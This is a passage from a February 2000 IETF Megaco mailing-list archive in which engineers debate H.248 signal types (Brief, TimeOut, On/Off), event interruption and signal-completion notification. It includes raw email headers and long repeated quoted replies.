note that by saying BR doesn't stop for events, you twist the solution
to


first
digit stops dialtone to a new level.


 


Brian



  
-----Original Message-----
From: Flemming Andreasen
  [mailto:fandreasen@WORLDNET.ATT.NET]
Sent: Friday, February 04, 2000
  4:55 PM
To: MEGACO@standards.nortelnetworks.com
Subject:
  Re: Cisco SG16: Signals Operation

Hi Tom
  
OO signals should not be interrupted by an event, only the explicit "Off"
  syntax should have this effect (otherwise we are back to TO signals with
  indefinite duration, and semantically there's good use for something that
  stays active until explicitly told otherwise, e.g. consider message waiting
  indicator)
  
Regards
  
        Flemming
  
Tom-PT Taylor wrote:
  
 
    
Digging through the
    accumulated mass of indented text and comments, I think I see two parties
    agreeing on the following points.  Unfortunately experience tells me
    that as soon as we introduce a third party the agreements will vanish, but
    I'll record them here just in case a miracle happens.
    
1) BR signals have the
    following characteristics: duration is assumed to be known to the MG without
    explicit MGC input.  Brian wants the ability to override duration, and
    I have no quarrel with that -- the only question is the exact
    mechanism.  The second characteristic is that a BR signal is not
    terminated by the detection of an event.  (But BR signals are still
    terminated by replacement of the Signals descriptor??  Any objections
    here?)
    
2) TO signals seem to
    be fairly well understood.
    
3) OO signals have the
    following characteristics: they remain on until interrupted by detection of
    an event, or receipt of a Signals descriptor with explicit Off syntax. 
    Brian's keyword syntax is probably acceptable.  Brian has a query about
    signal lists.  Is there something about this proposal that doesn't work
    given our current signal list text?

  
4) Brian's proposals for completion events probably work for Chip
    and they work for me.  To summarize: the current notifyCompletion
    parameter remains but its significance changes: it is a selector (Boolean,
    default FALSE) and does not actually arm reporting.  There is a signal
    completion event which reports on the completion of any signal so flagged,
    with the identity of the signal as a reporting parameter.  QUESTION:
    should KeepActive default to TRUE for this event?  In any case, the
    signal completion event is invoked in the usual way, through an events
    descriptor.
    
Open issue: signal
    failures.  The need for reports of such failures is real -- they do
    happen from time to time.  They happen autonomously, which means we
    either have to have an error method (ServiceChange ?) or an event to report
    them.  The key issue is whether you would need to know about ANY
    failure or only those of selected signals.
    
    -----Original
      Message----- 
    From:   Rosen, Brian [SMTP:brosen@FORE.COM] 
    Sent:   Friday, February 04, 2000 2:17 PM
      
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
      
    Subject:       
      Re: Cisco SG16: Signals
      Operation
      
    Comments below
      
    > -----Original
      Message----- 
    > From:
      Chip Sharp [mailto:chsharp@cisco.com]
      
    > Sent: Friday, February 04, 2000
      12:05 AM 
    > To:
      MEGACO@standards.nortelnetworks.com 
    > Subject: Re: Cisco SG16: Signals
      Operation 
    > 
    > 
    > At
      08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote: 
    > > 
    > > 
    > >I have every sympathy with your first
      point -- I couldn't resist the 
    > >temptation to propose a new definition of BR.  The
      fact is, 
    > the way
      things 
    > >currently
      stand, we could abolish the signal type parameter 
    > and it would 
    > >make no difference to the operation of
      the protocol.  I 
    > suppose we would 
    > >have to define an "infinite" duration to simulate on/off
      as 
    >
      currently 
    >
      >defined, but even that might not be necessary. 
    > > 
    > >Speaking as chair, I suppose I have to
      say that the null 
    >
      hypothesis is 
    >
      >that we stick with our current text.  We have two other
      alternatives: 
    >
      > 
    > >(a) New
      distinctive definitions for BR, TO, OO, with the 
    > understanding 
    > >that the definition of a given signal
      indicates its default 
    > type, but that 
    > >type can always be overridden by the type
      parameter. 
    >
      > 
    > >  - BR
      duration is assumed to be known to the MG without 
    > explicit MGC 
    > > input.  BR signals can be stopped
      by detection of events 
    > without the 
    > > KeepActive parameter or by replacement of the
      current 
    > signal
      descriptor 
    > > with
      one not containing the indicated signal. 
    > I would suggest they cannot be interrupted
      by events. If not, there's 
    > little reason for having them as well as TO
      signals. 
    It's okay with
      me
      
    > > 
    > > 
    > >  - TO duration is given explicitly
      by the duration 
    >
      parameter.  A default 
    > > may be provisioned or defined in the package.  TO
      signals 
    > can be
      stopped 
    > > by
      detection of events without the KeepActive parameter or
      
    > by replacement
      
    > > of the current signal
      descriptor with one not containing 
    > the indicated signal.
      
    > > 
    > >  - OO signals remain active until
      a signal descriptor with explicit 
    > > turn-off syntax comes into effect (Chip's
      proposal). 
    > Sounds
      good. 
    What is the
      syntax?  Would a parameter do, or do we have to actually have
      a 
    keyword?  Is there
      a default?  I propose that we 
    have keywords.
      Signals{VMButton{ON}} 
    this makes: 
    sigParameter       = sigStream /
      sigSignalType / sigDuration / 
                   
      sigOnOFF / sigOther / NotifyCompletion 
    (last element is in debate at the
      moment) 
    sigOnOff          
      = OnToken / OffToken
      
    What happens with signal
      lists?
      
    > > 
    > > 
    > >(b) Abolish signal type.
      
    > > 
    > >If I see a sudden rush to agreement on
      something other than 
    >
      the existing 
    >
      >text I'll feed it into Geneva.  Otherwise things stay
      put 
    > and we can
      try 
    > >again for
      H.248v2 -- the protocol works as is. 
    > I doubt it. This is such a fundamental
      property of the 
    >
      protocol that it is 
    >
      highly unlikely you would be able it in v2, not least considering
      the 
    > backwards
      compatibility restricion on package extensions. I 
    > would suggest 
    > doing it right the first time
      around. 
    > 
    > Issue
      update and additions follow below. 
    > > 
    > > 
    > >Comments to the other points follow
      them. 
    >
      >-----Original Message-----  From:  Chip Sharp
      
    > >[SMTP:chsharp@CISCO.COM] 
      Sent:  Tuesday, January 25, 2000 7:59 
    > >PM  To:   
      MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject: 
    >  Cisco SG16: 
    > >Signals Operation
      
    > 
    >
      Section:         7.1.1, second
      paragraph, last paragraph 
    > Category:     Technical
      
    > Issue no.:    
      14.2 
    >
      Issue:          The draft
      text specifies that "Finally, there is an 
    > optional "notifyCompletion" that allows a
      MGC to request 
    > being
      notified of 
    >
      completion of the signal. The value of thi sparameter is a
      
    > RequestIdentifier, allowing the
      MGC to correlate the Notify with the 
    > corresponding signal" and furthermore that
      "If the MGC requested 
    > notification of completion for a signal, a Notify
      command 
    > SHALL be
      sent by 
    > the MG upon
      completion of that signal. A Notify triggered by 
    > completion of 
    > a signal SHALL NOT affect the state of the
      eventbuffer or any 
    >
      active events 
    >
      descriptor". There is already a mechanism in the protocol
      
    > that supports
      
    > this functionality, namely events.
      By using the event 
    >
      mechanism instead, 
    >
      the duplication of functionality is avoided, and event
      
    > ordering between
      
    > "events" and completed signals
      become trivial - currently they are an 
    > unsolved issue. Furthermore, it is unclear
      how this behavior 
    >
      interacts with 
    > the
      EventBuffer mechanism. For example, if an event has been
      
    > notified, 
    > "EventBuffer" is on, and the signal now
      completes, it seems 
    >
      inconsistent to 
    >
      issue another Notify specific to the signal. 
    > Proposal:     It is
      strongly suggested, that 
    > "notifyCompletion" is replaced 
    > by having the completion of the signal
      generating an event 
    >
      (e.g. "signal 
    >
      complete") instead (notification of which may or may not have
      been 
    > requested).
      Furthermore, to account for signal failure, there 
    > should be a 
    > "signal failure" event as
      well. 
    >
      Status: 
    I have argued
      this precise point, and believe that there should only
      
    be ONE way to get an event armed and
      triggered.  I agree that it 
    should be an event.  I specifically proposed that a signal
      complete 
    event be defined
      that has a parameter which is the list of signals 
    that it applies to, but it occurs to me that a
      compromise is to 
    leave
      the parameter in Signals Descriptor as being a "this is one
      
    of the signals that the signal complete
      event applies to", and then 
    the signals complete event has no input parameter, but has an
      output 
    parameter that
      specifies which signal completed.
      
    > >   
      Section:        7.1.10, fourth
      paragraph, first 
    >
      > bullet.  Category:      
      Technical, Open Issue  Issue: 
    >     The
      draft 
    > > text
      defines on/off signals "the signal lasts until it is
      
    > turned off",
      
    > > however this definition is
      not clear. Specifically, it is 
    > not  clear if 
    > > an on/off signal is turned off by not being included in
      a 
    >
      subsequent 
    > >
      SignalsDescriptor or if it is turned off by some explicit
      
    > action. In the
      
    > > latter case, syntax is
      missing leading one to believe that 
    > the former 
    > > definition is intended. The former
      definition on the other hand  is 
    > > somewhat problematic and overlaps the
      definition of time-out 
    > > signals  with an indefinite duration. Consider for
      instance 
    > a
      "visual 
    > >
      message  waiting indicator" defined as an on/off signal. Unless
      the 
    > > signal
      is  included in all subsequent SignalsDescritpors,
      
    > the indicator
      
    > > will be turned  off. The
      on/off signal type would be more 
    > useful (and not 
    > > a duplicate of  timeout) if this was not the
      case.  Also, 
    > it
      should be 
    > >
      noted, that the more general topic of signal types and 
      the 
    > details
      of 
    > > their
      operation has been the subject of much debate on the
      
    > IETF Megaco
      
    > > mailing list since the white
      contribution was developed, 
    > and  that at 
    > > time of writing, no resolution had been
      found. 
    >
      > 
    >
      >Proposal:       It is recommended that
      the definition of on/off is 
    > >clarified in  accordance with the above and the
      missing syntax added. 
    > > 
    >
      > 
    > >v13
      Status:     OPEN. No substantial change has been
      made. 
    >
      
    > v14: OPEN. No relevant text
      changed. 
    >
      > 
    >
      > 
    >
      >Section:        7.1.10, fourth
      paragraph, second 
    >
      >bullet  Category:      
      Technical 
      Issue:          The
      draft 
    > text
      defines 
    > >timeout
      signals as "the signal lasts until  it is turned off
      
    > or a specific
      
    > >period of time elapses",
      however there is no  mechanism 
    > specified for 
    > >informing the MGC when that specific
      period of time  has 
    > elapsed and thus 
    > >the signal has ended. The MGC may therefore be
      unable  to 
    >
      determine if a 
    >
      >given signal is playing in an MG or not. An example
      where 
    > this is
      needed 
    > >is
      outpulsing with MF Feature Group D trunks where multiple
      
    > digit strings
      
    > >(address and caller id) need
      to be outpulsed. MGC needs to 
    > know when 
    > >outpulsing of the first string of digits has occurred
      before 
    > 
      requesting 
    >
      >out-pulsing of the next string.). Another example is a
      
    > signal 
      activated 
    >
      >through an external event such as user input (by use of an 
      embedded 
    > >signals
      descriptor). 
    >
      > 
    >
      >Proposal:       It is strongly
      recommended that a mechanism 
    > for notifying 
    > >the MGC  upon timeout signal completion is added,
      e.g. in 
    > the form of
      an 
    > >event 
      ("operation complete"). Furthermore, it should be 
    > considered to add 
    > >another  event that would allow the
      MGC to be informed if 
    > generation of 
    > >the signal  fails for some reason (e.g.
      "operation 
    >
      failure"). It should be 
    > >noted, that  this may happen in the middle of the
      signals 
    > defined
      duration. 
    >
      > 
    > >v13
      Status:     OPEN. No substantial change has been
      made. 
    >
      > 
    >
      >[[TomT]]  v14 adds the notifyCompletion parameter for
      every 
    > signal
      and 
    > >text on how
      completions are notified in section 7.2.7.  For
      
    > failures we
      
    > >have that generic failure
      event in E.1, but no text on how 
    > to apply it or 
    > >what request ID to use for it. 
    > 
    > v14:    DISAGREE (see issue 14.2). A mechanism
      has been added. 
    I'd say
      that the mechanism proposed, or the V14 mechanism does
      
    address the completion part.  The
      error part is V2; should it be 
    an event, or just an error?  How should the error be
      reported?
      
    > 
    >
      Section:        
      7.1.17 
    >
      Category:     Technical 
    > Issue no.:    
      14.3 
    >
      Issue:          The draft
      text specifies that "If a Notify is 
    > sent as a 
    > result of a signal completion, the
      ObservedEventsDescriptor 
    > contains the 
    > name of the signal that completed and the time at which
      it 
    > completed".
      Cf. 
    > issue 14.2, this
      behavior is undesirable and should be 
    > replaced with an 
    > event instead thereby eliminating the need
      for specifying 
    > this
      special case. 
    >
      Proposal: Assuming the proposed resolution to issue 14.2 is
      
    > accepted, it is
      
    > proposed that the above sentence
      is deleted. 
    >
      Status: 
    Since I agree
      that the mechanism should be an event, I agree 
    with this
      
    >
      Section:         7.2.8 (Notify),
      last three paragraphs 
    > Category:     Technical
      
    > Issue
      no.:      14.5 
    >
      Issue:          The draft
      text specifies that "..., or as a result of 
    > completion of a signal for which the MGC
      requested notification of 
    > completion", and "...or the triggering SignalsDescriptor",
      as 
    > finally
      "A 
    > Notify triggered
      by completion of a signal, contains the 
    > corresponding 
    > signal name in the
      ObservedEventsDescriptor". However, as 
    > argued in issue 
    > 14.2, this behavior is a special case that
      is inconsistent 
    > with
      the general 
    > event
      handling mechanism, incl. Notifications. If signal 
    > completion was not 
    > designed as a special case (which there is
      no reason to), 
    > this
      special case 
    >
      handling would not be necessary. 
    > Proposal: Assuming the proposed solution to issue 14.2
      is 
    > accepted, it
      is 
    > proposed to
      remove all of the above text segments. 
    > Status: 
    Ditto
      
    > > 
    > > 
    >
      >Section:               
      12.1.4  Category:       Technical,
      Open 
    > >Issue 
      Issue:          The draft
      text mentions SignalType CN 
    > (Continue), 
    > >however this  SignalType is not defined in Section
      7.1.10 on Signals 
    >
      >Descriptor.  Also, it should be noted, that the more
      general 
    > topic
      of 
    > >signal types
      and  the details of their operation has been 
    > the subject of 
    > >much debate on the  IETF Megaco
      mailing list since the white 
    > contribution 
    > >was developed, and  that at time of writing, no
      resolution had been 
    >
      >found.  Proposal:       It is
      proposed that SignalType CN is 
    > removed from 
    > >the text. 
    > > 
    >
      >v13 Status:     OPEN. No text
      changed. 
    >
      > 
    >
      >[[TomT]]  Done. 
    > v14. CLOSED. SignalType CN has been removed.
      
    > >   
      Section:        12.1.4 
      Category:       Technical,
      Open 
    > >
      Issue  Issue:         
      The draft text specifies that 
    > "Signals that would 
    > > be played with  SignalType BR should have a
      default 
    >
      duration"  Again, it 
    > > should be noted, that the more general topic of
      signal 
    > types
      and  the 
    > >
      details of their operation has been the subject of much debate
      on 
    > > the 
      IETF Megaco mailing list since the white contribution
      
    > was developed,
      
    > > and  that at time of
      writing, no resolution had been 
    > > found. 
      Proposal:       It is proposed that similar
      text is 
    > added as
      for 
    > > signals
      of  SignalType TO. 
    > > 
    >
      >v13 Status:     OPEN. No text changed. 
      [[TomT]]  See 
    >
      initial comments to 
    >
      >this message. 
    >
      v14: OPEN. No text changed. 
    > Support NetAid!  http://www.netaid.org 
    >
      -------------------------------------------------- 
    > Chip
      Sharp                
      Consulting Engineering 
    > Cisco
      Systems             
      Telco Bio-region 
    >
      Reality - Love it or Leave it. 
    >
      -------------------------------------------------- 
    >

  
-- 
--------------------------------------- 
Flemming Andreasen
  
Cisco Systems 
--------------------------------------- 
 



------_=_NextPart_001_01BF6F5E.59B591C6--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 17:46:29 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12142
	for ; Fri, 4 Feb 2000 17:46:27 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5C6153F0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 17:43:35 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25978 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 17:42:25 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.325E52B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 17:42:24
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204224421.MCBG7433@worldnet.att.net>; Fri, 4 Feb 2000 22:44:21
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088A6@whq-msgusr-02.fore.com>
Content-Type: multipart/alternative;
              boundary="------------B269C564348BC592121A9DB1"
Message-ID:  <389B54DD.85EB2FCC@worldnet.att.net>
Date:         Fri, 4 Feb 2000 17:38:22 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------B269C564348BC592121A9DB1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Maybe, but according to Brian's first "no-op" rule, it must be broken in
order to get fixed :-)

Regarding dial-tone, I don't see the issue. What you have is three
different signal types and three different semantics. Each has it's own
time and place. In the case of dial-tone, TimeOut happens to be the one,
not Brief.

-- Flemming


"Rosen, Brian" wrote:

>  Let's see:    Events stop signals except:        When KeepActive is
> set        If the signal is BR        If the signal is OONet result -
> events stop signals only when TO and not KeepActive.Maybe we should
> have a "StopSignal", rather than a KeepActiveMaybe it happens so
> seldom that we use an embedded signals to do it.Also note that by
> saying BR doesn't stop for events, you twist the solution tofirst
> digit stops dialtone to a new level.Brian
>
>      -----Original Message-----
>      From: Flemming Andreasen
>      [mailto:fandreasen@WORLDNET.ATT.NET]
>      Sent: Friday, February 04, 2000 4:55 PM
>      To: MEGACO@standards.nortelnetworks.com
>      Subject: Re: Cisco SG16: Signals Operation
>
>      Hi Tom
>
>      OO signals should not be interrupted by an event, only the
>      explicit "Off" syntax should have this effect (otherwise we
>      are back to TO signals with indefinite duration, and
>      semantically there's good use for something that stays
>      active until explicitly told otherwise, e.g. consider
>      message waiting indicator)
>
>      Regards
>
>              Flemming
>
>      Tom-PT Taylor wrote:
>
>     >
>     >
>     > Digging through the accumulated mass of indented text and
>     > comments, I think I see two parties agreeing on the
>     > following points.  Unfortunately experience tells me that
>     > as soon as we introduce a third party the agreements will
>     > vanish, but I'll record them here just in case a miracle
>     > happens.
>     >
>     > 1) BR signals have the following characteristics: duration
>     > is assumed to be known to the MG without explicit MGC
>     > input.  Brian wants the ability to override duration, and
>     > I have no quarrel with that -- the only question is the
>     > exact mechanism.  The second characteristic is that a BR
>     > signal is not terminated by the detection of an event.
>     > (But BR signals are still terminated by replacement of the
>     > Signals descriptor??  Any objections here?)
>     >
>     > 2) TO signals seem to be fairly well understood.
>     >
>     > 3) OO signals have the following characteristics: they
>     > remain on until interrupted by detection of an event, or
>     > receipt of a Signals descriptor with explicit Off syntax.
>     > Brian's keyword syntax is probably acceptable.  Brian has
>     > a query about signal lists.  Is there something about this
>     > proposal that doesn't work given our current signal list
>     > text?
>
>     > 4) Brian's proposals for completion events probably work
>     > for Chip and they work for me.  To summarize: the current
>     > notifyCompletion parameter remains but its significance
>     > changes: it is a selector (Boolean, default FALSE) and
>     > does not actually arm reporting.  There is a signal
>     > completion event which reports on the completion of any
>     > signal so flagged, with the identity of the signal as a
>     > reporting parameter.  QUESTION: should KeepActive default
>     > to TRUE for this event?  In any case, the signal
>     > completion event is invoked in the usual way, through an
>     > events descriptor.
>     >
>     > Open issue: signal failures.  The need for reports of such
>     > failures is real -- they do happen from time to time.
>     > They happen autonomously, which means we either have to
>     > have an error method (ServiceChange ?) or an event to
>     > report them.  The key issue is whether you would need to
>     > know about ANY failure or only those of selected signals.
>     >
>     >      -----Original Message-----
>     >      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
>     >      Sent:   Friday, February 04, 2000 2:17 PM
>     >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>     >      Subject:        Re: Cisco SG16: Signals Operation
>     >
>     >      Comments below
>     >
>     >      > -----Original Message-----
>     >      > From: Chip Sharp [mailto:chsharp@cisco.com]
>     >      > Sent: Friday, February 04, 2000 12:05 AM
>     >      > To: MEGACO@standards.nortelnetworks.com
>     >      > Subject: Re: Cisco SG16: Signals Operation
>     >      >
>     >      >
>     >      > At 08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote:
>     >      > >
>     >      > >
>     >      > >I have every sympathy with your first point -- I
>     >      couldn't resist the
>     >      > >temptation to propose a new definition of BR.  The
>     >      fact is,
>     >      > the way things
>     >      > >currently stand, we could abolish the signal type
>     >      parameter
>     >      > and it would
>     >      > >make no difference to the operation of the
>     >      protocol.  I
>     >      > suppose we would
>     >      > >have to define an "infinite" duration to simulate
>     >      on/off as
>     >      > currently
>     >      > >defined, but even that might not be necessary.
>     >      > >
>     >      > >Speaking as chair, I suppose I have to say that
>     >      the null
>     >      > hypothesis is
>     >      > >that we stick with our current text.  We have two
>     >      other alternatives:
>     >      > >
>     >      > >(a) New distinctive definitions for BR, TO, OO,
>     >      with the
>     >      > understanding
>     >      > >that the definition of a given signal indicates
>     >      its default
>     >      > type, but that
>     >      > >type can always be overridden by the type
>     >      parameter.
>     >      > >
>     >      > >  - BR duration is assumed to be known to the MG
>     >      without
>     >      > explicit MGC
>     >      > > input.  BR signals can be stopped by detection of
>     >      events
>     >      > without the
>     >      > > KeepActive parameter or by replacement of the
>     >      current
>     >      > signal descriptor
>     >      > > with one not containing the indicated signal.
>     >      > I would suggest they cannot be interrupted by
>     >      events. If not, there's
>     >      > little reason for having them as well as TO
>     >      signals.
>     >      It's okay with me
>     >
>     >      > >
>     >      > >
>     >      > >  - TO duration is given explicitly by the
>     >      duration
>     >      > parameter.  A default
>     >      > > may be provisioned or defined in the package.  TO
>     >      signals
>     >      > can be stopped
>     >      > > by detection of events without the KeepActive
>     >      parameter or
>     >      > by replacement
>     >      > > of the current signal descriptor with one not
>     >      containing
>     >      > the indicated signal.
>     >      > >
>     >      > >  - OO signals remain active until a signal
>     >      descriptor with explicit
>     >      > > turn-off syntax comes into effect (Chip's
>     >      proposal).
>     >      > Sounds good.
>     >      What is the syntax?  Would a parameter do, or do we
>     >      have to actually have a
>     >      keyword?  Is there a default?  I propose that we
>     >      have keywords. Signals{VMButton{ON}}
>     >      this makes:
>     >      sigParameter       = sigStream / sigSignalType /
>     >      sigDuration /
>     >                      sigOnOFF / sigOther /
>     >      NotifyCompletion
>     >      (last element is in debate at the moment)
>     >      sigOnOff           = OnToken / OffToken
>     >
>     >      What happens with signal lists?
>     >
>     >      > >
>     >      > >
>     >      > >(b) Abolish signal type.
>     >      > >
>     >      > >If I see a sudden rush to agreement on something
>     >      other than
>     >      > the existing
>     >      > >text I'll feed it into Geneva.  Otherwise things
>     >      stay put
>     >      > and we can try
>     >      > >again for H.248v2 -- the protocol works as is.
>     >      > I doubt it. This is such a fundamental property of
>     >      the
>     >      > protocol that it is
>     >      > highly unlikely you would be able it in v2, not
>     >      least considering the
>     >      > backwards compatibility restricion on package
>     >      extensions. I
>     >      > would suggest
>     >      > doing it right the first time around.
>     >      >
>     >      > Issue update and additions follow below.
>     >      > >
>     >      > >
>     >      > >Comments to the other points follow them.
>     >      > >-----Original Message-----  From:  Chip Sharp
>     >      > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January
>     >      25, 2000 7:59
>     >      > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM
>     >      Subject:
>     >      >  Cisco SG16:
>     >      > >Signals Operation
>     >      >
>     >      > Section:         7.1.1, second paragraph, last
>     >      paragraph
>     >      > Category:     Technical
>     >      > Issue no.:     14.2
>     >      > Issue:          The draft text specifies that
>     >      "Finally, there is an
>     >      > optional "notifyCompletion" that allows a MGC to
>     >      request
>     >      > being notified of
>     >      > completion of the signal. The value of thi
>     >      sparameter is a
>     >      > RequestIdentifier, allowing the MGC to correlate
>     >      the Notify with the
>     >      > corresponding signal" and furthermore that "If the
>     >      MGC requested
>     >      > notification of completion for a signal, a Notify
>     >      command
>     >      > SHALL be sent by
>     >      > the MG upon completion of that signal. A Notify
>     >      triggered by
>     >      > completion of
>     >      > a signal SHALL NOT affect the state of the
>     >      eventbuffer or any
>     >      > active events
>     >      > descriptor". There is already a mechanism in the
>     >      protocol
>     >      > that supports
>     >      > this functionality, namely events. By using the
>     >      event
>     >      > mechanism instead,
>     >      > the duplication of functionality is avoided, and
>     >      event
>     >      > ordering between
>     >      > "events" and completed signals become trivial -
>     >      currently they are an
>     >      > unsolved issue. Furthermore, it is unclear how this
>     >      behavior
>     >      > interacts with
>     >      > the EventBuffer mechanism. For example, if an event
>     >      has been
>     >      > notified,
>     >      > "EventBuffer" is on, and the signal now completes,
>     >      it seems
>     >      > inconsistent to
>     >      > issue another Notify specific to the signal.
>     >      > Proposal:     It is strongly suggested, that
>     >      > "notifyCompletion" is replaced
>     >      > by having the completion of the signal generating
>     >      an event
>     >      > (e.g. "signal
>     >      > complete") instead (notification of which may or
>     >      may not have been
>     >      > requested). Furthermore, to account for signal
>     >      failure, there
>     >      > should be a
>     >      > "signal failure" event as well.
>     >      > Status:
>     >      I have argued this precise point, and believe that
>     >      there should only
>     >      be ONE way to get an event armed and triggered.  I
>     >      agree that it
>     >      should be an event.  I specifically proposed that a
>     >      signal complete
>     >      event be defined that has a parameter which is the
>     >      list of signals
>     >      that it applies to, but it occurs to me that a
>     >      compromise is to
>     >      leave the parameter in Signals Descriptor as being a
>     >      "this is one
>     >      of the signals that the signal complete event applies
>     >      to", and then
>     >      the signals complete event has no input parameter,
>     >      but has an output
>     >      parameter that specifies which signal completed.
>     >
>     >      > >    Section:        7.1.10, fourth paragraph,
>     >      first
>     >      > > bullet.  Category:       Technical, Open Issue
>     >      Issue:
>     >      >     The draft
>     >      > > text defines on/off signals "the signal lasts
>     >      until it is
>     >      > turned off",
>     >      > > however this definition is not clear.
>     >      Specifically, it is
>     >      > not  clear if
>     >      > > an on/off signal is turned off by not being
>     >      included in a
>     >      > subsequent
>     >      > > SignalsDescriptor or if it is turned off by some
>     >      explicit
>     >      > action. In the
>     >      > > latter case, syntax is missing leading one to
>     >      believe that
>     >      > the former
>     >      > > definition is intended. The former definition on
>     >      the other hand  is
>     >      > > somewhat problematic and overlaps the definition
>     >      of time-out
>     >      > > signals  with an indefinite duration. Consider
>     >      for instance
>     >      > a "visual
>     >      > > message  waiting indicator" defined as an on/off
>     >      signal. Unless the
>     >      > > signal is  included in all subsequent
>     >      SignalsDescritpors,
>     >      > the indicator
>     >      > > will be turned  off. The on/off signal type would
>     >      be more
>     >      > useful (and not
>     >      > > a duplicate of  timeout) if this was not the
>     >      case.  Also,
>     >      > it should be
>     >      > > noted, that the more general topic of signal
>     >      types and  the
>     >      > details of
>     >      > > their operation has been the subject of much
>     >      debate on the
>     >      > IETF Megaco
>     >      > > mailing list since the white contribution was
>     >      developed,
>     >      > and  that at
>     >      > > time of writing, no resolution had been found.
>     >      > >
>     >      > >Proposal:       It is recommended that the
>     >      definition of on/off is
>     >      > >clarified in  accordance with the above and the
>     >      missing syntax added.
>     >      > >
>     >      > >
>     >      > >v13 Status:     OPEN. No substantial change has
>     >      been made.
>     >      >
>     >      > v14: OPEN. No relevant text changed.
>     >      > >
>     >      > >
>     >      > >Section:        7.1.10, fourth paragraph, second
>     >      > >bullet  Category:       Technical  Issue:
>     >      The draft
>     >      > text defines
>     >      > >timeout signals as "the signal lasts until  it is
>     >      turned off
>     >      > or a specific
>     >      > >period of time elapses", however there is no
>     >      mechanism
>     >      > specified for
>     >      > >informing the MGC when that specific period of
>     >      time  has
>     >      > elapsed and thus
>     >      > >the signal has ended. The MGC may therefore be
>     >      unable  to
>     >      > determine if a
>     >      > >given signal is playing in an MG or not. An
>     >      example where
>     >      > this is needed
>     >      > >is outpulsing with MF Feature Group D trunks where
>     >      multiple
>     >      > digit strings
>     >      > >(address and caller id) need to be outpulsed. MGC
>     >      needs to
>     >      > know when
>     >      > >outpulsing of the first string of digits has
>     >      occurred before
>     >      >  requesting
>     >      > >out-pulsing of the next string.). Another example
>     >      is a
>     >      > signal  activated
>     >      > >through an external event such as user input (by
>     >      use of an  embedded
>     >      > >signals descriptor).
>     >      > >
>     >      > >Proposal:       It is strongly recommended that a
>     >      mechanism
>     >      > for notifying
>     >      > >the MGC  upon timeout signal completion is added,
>     >      e.g. in
>     >      > the form of an
>     >      > >event  ("operation complete"). Furthermore, it
>     >      should be
>     >      > considered to add
>     >      > >another  event that would allow the MGC to be
>     >      informed if
>     >      > generation of
>     >      > >the signal  fails for some reason (e.g. "operation
>     >
>     >      > failure"). It should be
>     >      > >noted, that  this may happen in the middle of the
>     >      signals
>     >      > defined duration.
>     >      > >
>     >      > >v13 Status:     OPEN. No substantial change has
>     >      been made.
>     >      > >
>     >      > >[[TomT]]  v14 adds the notifyCompletion parameter
>     >      for every
>     >      > signal and
>     >      > >text on how completions are notified in section
>     >      7.2.7.  For
>     >      > failures we
>     >      > >have that generic failure event in E.1, but no
>     >      text on how
>     >      > to apply it or
>     >      > >what request ID to use for it.
>     >      >
>     >      > v14:    DISAGREE (see issue 14.2). A mechanism has
>     >      been added.
>     >      I'd say that the mechanism proposed, or the V14
>     >      mechanism does
>     >      address the completion part.  The error part is V2;
>     >      should it be
>     >      an event, or just an error?  How should the error be
>     >      reported?
>     >
>     >      >
>     >      > Section:         7.1.17
>     >      > Category:     Technical
>     >      > Issue no.:     14.3
>     >      > Issue:          The draft text specifies that "If a
>     >      Notify is
>     >      > sent as a
>     >      > result of a signal completion, the
>     >      ObservedEventsDescriptor
>     >      > contains the
>     >      > name of the signal that completed and the time at
>     >      which it
>     >      > completed". Cf.
>     >      > issue 14.2, this behavior is undesirable and should
>     >      be
>     >      > replaced with an
>     >      > event instead thereby eliminating the need for
>     >      specifying
>     >      > this special case.
>     >      > Proposal: Assuming the proposed resolution to issue
>     >      14.2 is
>     >      > accepted, it is
>     >      > proposed that the above sentence is deleted.
>     >      > Status:
>     >      Since I agree that the mechanism should be an event,
>     >      I agree
>     >      with this
>     >
>     >      > Section:         7.2.8 (Notify), last three
>     >      paragraphs
>     >      > Category:     Technical
>     >      > Issue no.:      14.5
>     >      > Issue:          The draft text specifies that "...,
>     >      or as a result of
>     >      > completion of a signal for which the MGC requested
>     >      notification of
>     >      > completion", and "...or the triggering
>     >      SignalsDescriptor", as
>     >      > finally "A
>     >      > Notify triggered by completion of a signal,
>     >      contains the
>     >      > corresponding
>     >      > signal name in the ObservedEventsDescriptor".
>     >      However, as
>     >      > argued in issue
>     >      > 14.2, this behavior is a special case that is
>     >      inconsistent
>     >      > with the general
>     >      > event handling mechanism, incl. Notifications. If
>     >      signal
>     >      > completion was not
>     >      > designed as a special case (which there is no
>     >      reason to),
>     >      > this special case
>     >      > handling would not be necessary.
>     >      > Proposal: Assuming the proposed solution to issue
>     >      14.2 is
>     >      > accepted, it is
>     >      > proposed to remove all of the above text segments.
>     >      > Status:
